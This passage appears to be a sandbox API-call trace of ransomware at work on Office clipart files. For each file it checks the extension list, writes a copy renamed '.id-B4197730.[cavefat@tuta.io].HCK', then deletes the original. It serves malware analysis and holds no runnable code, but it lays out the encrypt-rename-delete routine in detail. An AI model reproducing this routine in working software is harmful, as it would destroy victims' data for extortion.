(lpString=".zip") returned 4 [0179.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.452] lstrlenW (lpString=".rar") returned 4 [0179.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".bz2") returned 4 [0179.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".7z") returned 3 [0179.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString=".dbf") returned 4 [0179.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString=".1cd") returned 4 [0179.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString=".jpg") returned 4 [0179.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString=".doc") returned 4 [0179.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".docx") returned 5 [0179.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.452] lstrlenW (lpString=".pdf") returned 4 [0179.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".xls") returned 4 [0179.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.452] lstrlenW (lpString=".xlsx") returned 5 [0179.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.452] lstrlenW (lpString=".ppt") returned 4 [0179.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW (lpString=".zip") returned 4 [0179.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.452] lstrlenW (lpString=".rar") returned 4 [0179.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".bz2") returned 4 [0179.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString=".7z") returned 3 [0179.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.453] lstrlenW (lpString=".dbf") returned 4 [0179.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.453] lstrlenW (lpString=".1cd") returned 4 [0179.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.453] lstrlenW (lpString=".jpg") returned 4 [0179.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.453] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.453] lstrlenW (lpString="PE03470_.WMF") returned 12 [0179.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.454] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14744) returned 1 [0179.454] CloseHandle (hObject=0x39c) returned 1 [0179.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf")) returned 0x220 [0179.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.459] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.459] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.461] GetLastError () returned 0x0 [0179.461] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3998, lpOverlapped=0x0) returned 1 [0179.463] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x39a0, lpOverlapped=0x0) returned 1 [0179.464] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.464] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.464] SetEndOfFile (hFile=0x370) returned 1 [0179.466] CloseHandle (hObject=0x370) returned 1 [0179.467] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.467] SetEndOfFile (hFile=0x300) returned 1 [0179.469] CloseHandle (hObject=0x300) returned 1 [0179.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf")) returned 1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".doc") returned 4 [0179.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString=".docx") returned 5 [0179.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.473] lstrlenW (lpString=".pdf") returned 4 [0179.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString=".xls") returned 4 [0179.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.473] lstrlenW (lpString=".xlsx") returned 5 [0179.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.473] lstrlenW (lpString=".ppt") returned 4 [0179.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".zip") returned 4 [0179.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.473] lstrlenW (lpString=".rar") returned 4 [0179.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString=".bz2") returned 4 [0179.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString=".7z") returned 3 [0179.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".dbf") returned 4 [0179.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".1cd") returned 4 [0179.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".jpg") returned 4 [0179.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.473] lstrlenW (lpString=".doc") returned 4 [0179.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.473] lstrlenW (lpString=".docx") returned 5 [0179.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.473] lstrlenW (lpString=".pdf") returned 4 [0179.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString=".xls") returned 4 [0179.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.474] lstrlenW (lpString=".xlsx") returned 5 [0179.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.474] lstrlenW (lpString=".ppt") returned 4 [0179.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.474] lstrlenW (lpString=".zip") returned 4 [0179.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.474] lstrlenW (lpString=".rar") returned 4 [0179.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString=".bz2") returned 4 [0179.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString=".7z") returned 3 [0179.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.474] lstrlenW (lpString=".dbf") returned 4 [0179.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.474] lstrlenW (lpString=".1cd") returned 4 [0179.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 68 [0179.474] lstrlenW (lpString=".jpg") returned 4 [0179.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.474] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.474] lstrlenW (lpString="PE03731_.WMF") returned 12 [0179.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.479] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2556) returned 1 [0179.479] CloseHandle (hObject=0x300) returned 1 [0179.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf")) returned 0x220 [0179.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.481] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.481] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.485] GetLastError () returned 0x0 [0179.485] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0179.487] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa00, lpOverlapped=0x0) returned 1 [0179.488] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.488] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.488] SetEndOfFile (hFile=0x300) returned 1 [0179.489] CloseHandle (hObject=0x300) returned 1 [0179.491] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.491] SetEndOfFile (hFile=0x39c) returned 1 [0179.494] CloseHandle (hObject=0x39c) returned 1 [0179.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf")) returned 1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".doc") returned 4 [0179.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString=".docx") returned 5 [0179.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.503] lstrlenW (lpString=".pdf") returned 4 [0179.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString=".xls") returned 4 [0179.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.503] lstrlenW (lpString=".xlsx") returned 5 [0179.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.503] lstrlenW (lpString=".ppt") returned 4 [0179.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".zip") returned 4 [0179.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.503] lstrlenW (lpString=".rar") returned 4 [0179.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString=".bz2") returned 4 [0179.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString=".7z") returned 3 [0179.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".dbf") returned 4 [0179.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".1cd") returned 4 [0179.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".jpg") returned 4 [0179.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.503] lstrlenW (lpString=".doc") returned 4 [0179.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.503] lstrlenW (lpString=".docx") returned 5 [0179.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.504] lstrlenW (lpString=".pdf") returned 4 [0179.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString=".xls") returned 4 [0179.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.504] lstrlenW (lpString=".xlsx") returned 5 [0179.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.504] lstrlenW (lpString=".ppt") returned 4 [0179.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.504] lstrlenW (lpString=".zip") returned 4 [0179.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.504] lstrlenW (lpString=".rar") returned 4 [0179.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString=".bz2") returned 4 [0179.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString=".7z") returned 3 [0179.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.504] lstrlenW (lpString=".dbf") returned 4 [0179.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.504] lstrlenW (lpString=".1cd") returned 4 [0179.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 68 [0179.504] lstrlenW (lpString=".jpg") returned 4 [0179.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.504] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.504] lstrlenW (lpString="PE05869_.WMF") returned 12 [0179.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.505] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1544) returned 1 [0179.505] CloseHandle (hObject=0x300) returned 1 [0179.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf")) returned 0x220 [0179.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.509] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.510] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.511] GetLastError () returned 0x0 [0179.511] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x608, lpOverlapped=0x0) returned 1 [0179.514] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x610, lpOverlapped=0x0) returned 1 [0179.514] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.515] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.515] SetEndOfFile (hFile=0x370) returned 1 [0179.518] CloseHandle (hObject=0x370) returned 1 [0179.521] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.521] SetEndOfFile (hFile=0x2fc) returned 1 [0179.522] CloseHandle (hObject=0x2fc) returned 1 [0179.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf")) returned 1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".doc") returned 4 [0179.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString=".docx") returned 5 [0179.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.525] lstrlenW (lpString=".pdf") returned 4 [0179.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString=".xls") returned 4 [0179.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.525] lstrlenW (lpString=".xlsx") returned 5 [0179.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.525] lstrlenW (lpString=".ppt") returned 4 [0179.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".zip") returned 4 [0179.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.525] lstrlenW (lpString=".rar") returned 4 [0179.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString=".bz2") returned 4 [0179.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString=".7z") returned 3 [0179.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft 